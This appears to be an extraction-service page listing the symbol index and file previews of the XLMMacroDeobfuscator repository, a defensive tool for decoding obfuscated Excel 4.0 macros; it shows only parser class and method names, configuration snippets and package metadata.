class ExcelWrapper (line 4) | class ExcelWrapper:
method get_xl_international_char (line 5) | def get_xl_international_char(self, flag_name):
method get_defined_name (line 8) | def get_defined_name(self, name, full_match):
method get_defined_names (line 11) | def get_defined_names(self):
method get_macrosheets (line 14) | def get_macrosheets(self):
method get_worksheets (line 17) | def get_worksheets(self):
method get_cell_info (line 20) | def get_cell_info(self, sheet_name, col, row, info_type_id):
method get_workbook_name (line 23) | def get_workbook_name(self):
class XlApplicationInternational (line 27) | class XlApplicationInternational(Enum):
class RowAttribute (line 33) | class RowAttribute(Enum):
FILE: XLMMacroDeobfuscator/xls_wrapper.py
class XlCellType (line 10) | class XlCellType(Enum):
class XLSWrapper (line 15) | class XLSWrapper(ExcelWrapper):
method __init__ (line 18) | def __init__(self, xls_doc_path):
method get_xl_international_char (line 27) | def get_xl_international_char(self, flag_name):
method get_defined_names (line 37) | def get_defined_names(self):
method get_defined_name (line 47) | def get_defined_name(self, name, full_match=True):
method load_cells (line 63) | def load_cells(self, macrosheet, xls_sheet):
method get_macrosheets (line 116) | def get_macrosheets(self):
method get_workbook_name (line 126) | def get_workbook_name(self):
method get_cell_info (line 129) | def get_cell_info(self, sheet_name, col, row, type_ID):
FILE: XLMMacroDeobfuscator/xls_wrapper_2.py
class XLSWrapper2 (line 11) | class XLSWrapper2(ExcelWrapper):
method __init__ (line 14) | def __init__(self, xls_doc_path, logfile="default"):
method get_xl_international_char (line 45) | def get_xl_international_char(self, flag_name):
method replace_nonprintable_chars (line 52) | def replace_nonprintable_chars(self, input_str, replace_char=''):
method get_defined_names (line 56) | def get_defined_names(self):
method xlref (line 107) | def xlref(self, row, column, zero_indexed=True):
method get_defined_name (line 114) | def get_defined_name(self, name, full_match=True):
method load_cells (line 149) | def load_cells(self, macrosheet, xls_sheet):
method get_macrosheets (line 165) | def get_macrosheets(self):
method get_workbook_name (line 176) | def get_workbook_name(self):
method get_worksheets (line 179) | def get_worksheets(self):
method get_color (line 190) | def get_color(self, color_index):
method get_cell_info (line 193) | def get_cell_info(self, sheet_name, col, row, info_type_id):
FILE: XLMMacroDeobfuscator/xlsb_wrapper.py
class XLSBWrapper (line 9) | class XLSBWrapper(ExcelWrapper):
method __init__ (line 10) | def __init__(self, xlsb_doc_path):
method get_workbook_name (line 20) | def get_workbook_name(self):
method get_xl_international_char (line 23) | def get_xl_international_char(self, flag_name):
method get_defined_names (line 30) | def get_defined_names(self):
method get_defined_name (line 38) | def get_defined_name(self, name, full_match=True):
method load_cells (line 49) | def load_cells(self, boundsheet, shared_table):
method get_macrosheets (line 77) | def get_macrosheets(self):
method get_worksheets (line 92) | def get_worksheets(self):
method get_cell_info (line 104) | def get_cell_info(self, sheet_name, col, row, info_type_id):
FILE: XLMMacroDeobfuscator/xlsm_wrapper.py
class XLSMWrapper (line 16) | class XLSMWrapper(ExcelWrapper):
method __init__ (line 17) | def __init__(self, xlsm_doc_path):
method get_workbook_name (line 39) | def get_workbook_name(self):
method _get_types (line 42) | def _get_types(self):
method _get_relationships (line 59) | def _get_relationships(self):
method get_xl_international_char (line 73) | def get_xl_international_char(self, flag_name):
method get_files (line 80) | def get_files(self, file_name_filters=None):
method get_xml_file (line 97) | def get_xml_file(self, file_name, ignore_pattern=None):
method get_content_types (line 110) | def get_content_types(self):
method _get_workbook_path (line 116) | def _get_workbook_path(self):
method get_workbook (line 133) | def get_workbook(self):
method get_style (line 140) | def get_style(self):
method get_theme (line 150) | def get_theme(self):
method get_workbook_style (line 160) | def get_workbook_style(self):
method _get_workbook_rels (line 172) | def _get_workbook_rels(self):
method get_sheet_info (line 186) | def get_sheet_info(self, rId):
method get_defined_names (line 207) | def get_defined_names(self):
method get_sheet_infos (line 220) | def get_sheet_infos(self, types):
method get_macrosheet_infos (line 244) | def get_macrosheet_infos(self):
method get_worksheet_infos (line 247) | def get_worksheet_infos(self):
method get_shared_strings (line 250) | def get_shared_strings(self):
method load_macro_cells (line 266) | def load_macro_cells(self, macrosheet, macrosheet_obj, macrosheet_names):
method load_worksheet_cells (line 328) | def load_worksheet_cells(self, macrosheet, macrosheet_obj):
method get_defined_name (line 369) | def get_defined_name(self, name, full_match=True):
method get_macrosheets (line 383) | def get_macrosheets(self):
method get_worksheets (line 406) | def get_worksheets(self):
method get_color_index (line 420) | def get_color_index(self, rgba_str):
method get_cell_info (line 456) | def get_cell_info(self, sheet_name, col, row, info_type_id):
Condensed preview — 21 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (247K chars).
[
{
"path": ".github/FUNDING.yml",
"chars": 730,
"preview": "# These are supported funding model platforms\n\ngithub: ['DissectMalware'] # Replace with up to 4 GitHub Sponsors-enabled"
},
{
"path": ".gitignore",
"chars": 1828,
"preview": "# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packagi"
},
{
"path": "LICENSE",
"chars": 11351,
"preview": " Apache License\n Version 2.0, January 2004\n "
},
{
"path": "README.md",
"chars": 7664,
"preview": "# XLMMacroDeobfuscator\nXLMMacroDeobfuscator can be used to decode obfuscated XLM macros (also known as Excel 4.0 macros)"
},
{
"path": "XLMMacroDeobfuscator/__init__.py",
"chars": 22,
"preview": "__version__ = '0.2.7'\n"
},
{
"path": "XLMMacroDeobfuscator/boundsheet.py",
"chars": 5262,
"preview": "import re\n\n\nclass Cell:\n _a1_cell_addr_regex_str = r\"((?P<sheetname>[^\\s]+?|'.+?')!)?\\$?(?P<column>[a-zA-Z]+)\\$?(?P<r"
},
{
"path": "XLMMacroDeobfuscator/configs/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "XLMMacroDeobfuscator/configs/get_cell.conf",
"chars": 288,
"preview": "$A$1\n1\n1\n1\n0\n\nGeneral\n1\n0\n0\n0\n0\n0\nTRUE\nFALSE\n25.71\n78.75\nCalibri\n11\nFALSE\nFALSE\nFALSE\n11\n1\nFALSE\nFALSE\n0\n1\n1\nFALSE\nFALSE"
},
{
"path": "XLMMacroDeobfuscator/configs/get_window.conf",
"chars": 163,
"preview": "[Book1]Sheet1\n1\n0\n0\n800\n600\nFALSE\nTRUE\nTRUE\nTRUE\nTRUE\n0\n1\nFALSE\nFALSE\nFALSE\n1\nFALSE\nFALSE\nTRUE\nFALSE\nFALSE\n3\nFALSE\n100\nT"
},
{
"path": "XLMMacroDeobfuscator/configs/get_workspace.conf",
"chars": 466,
"preview": "Windows (64-bit) NT :.00\n16\n0\nFALSE\nTRUE\nTRUE\nTRUE\nTRUE\n/\n0\n-5\n-6\n1016.25\n480\n3\n\n\nTRUE\nTRUE\n\nTRUE\n0\nC:\\Users\\user\\AppDat"
},
{
"path": "XLMMacroDeobfuscator/configs/settings.py",
"chars": 104,
"preview": "\"\"\"\nConfiguration settings for XLMMacroDeobfuscator\n\"\"\"\n\nSILENT = False # Turn logging on/off globally\n"
},
{
"path": "XLMMacroDeobfuscator/deobfuscator.py",
"chars": 151525,
"preview": "import argparse\nimport base64\nimport copy\nimport datetime\nimport hashlib\nimport json\nimport linecache\nimport math\nimport"
},
{
"path": "XLMMacroDeobfuscator/excel_wrapper.py",
"chars": 694,
"preview": "from enum import Enum\n\n\nclass ExcelWrapper:\n def get_xl_international_char(self, flag_name):\n pass\n\n def ge"
},
{
"path": "XLMMacroDeobfuscator/xlm-macro-en.lark",
"chars": 2215,
"preview": "start: \"=\" expression\nfunction_call: [NAME|STRING] L_PRA arglist R_PRA | cell L_PRA arglist R_PRA | defined_name L_PRA"
},
{
"path": "XLMMacroDeobfuscator/xlm-macro.lark.template",
"chars": 2224,
"preview": "start: \"=\" expression\nfunction_call: [NAME|STRING] L_PRA arglist R_PRA | cell L_PRA arglist R_PRA | defined_name L_PRA"
},
{
"path": "XLMMacroDeobfuscator/xls_wrapper.py",
"chars": 7221,
"preview": "from XLMMacroDeobfuscator.excel_wrapper import ExcelWrapper\nfrom XLMMacroDeobfuscator.boundsheet import Boundsheet\nfrom "
},
{
"path": "XLMMacroDeobfuscator/xls_wrapper_2.py",
"chars": 13442,
"preview": "from XLMMacroDeobfuscator.excel_wrapper import ExcelWrapper, XlApplicationInternational\nfrom XLMMacroDeobfuscator.bounds"
},
{
"path": "XLMMacroDeobfuscator/xlsb_wrapper.py",
"chars": 5737,
"preview": "from XLMMacroDeobfuscator.excel_wrapper import ExcelWrapper\nfrom XLMMacroDeobfuscator.excel_wrapper import XlApplication"
},
{
"path": "XLMMacroDeobfuscator/xlsm_wrapper.py",
"chars": 25475,
"preview": "from XLMMacroDeobfuscator.excel_wrapper import XlApplicationInternational, RowAttribute\nfrom zipfile import ZipFile\nfrom"
},
{
"path": "requirements.txt",
"chars": 76,
"preview": "pyxlsb2\nlark-parser\nxlrd2\nuntangle==1.2.1\nmsoffcrypto-tool\ndefusedxml\nroman\n"
},
{
"path": "setup.py",
"chars": 2364,
"preview": "from XLMMacroDeobfuscator import __version__\nimport os\n\ntry:\n from setuptools import setup\nexcept ImportError:\n fr"
}
]
About this extraction
This page contains the full source code of the DissectMalware/XLMMacroDeobfuscator GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 21 files (233.3 KB), approximately 52.5k tokens, and a symbol index with 219 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.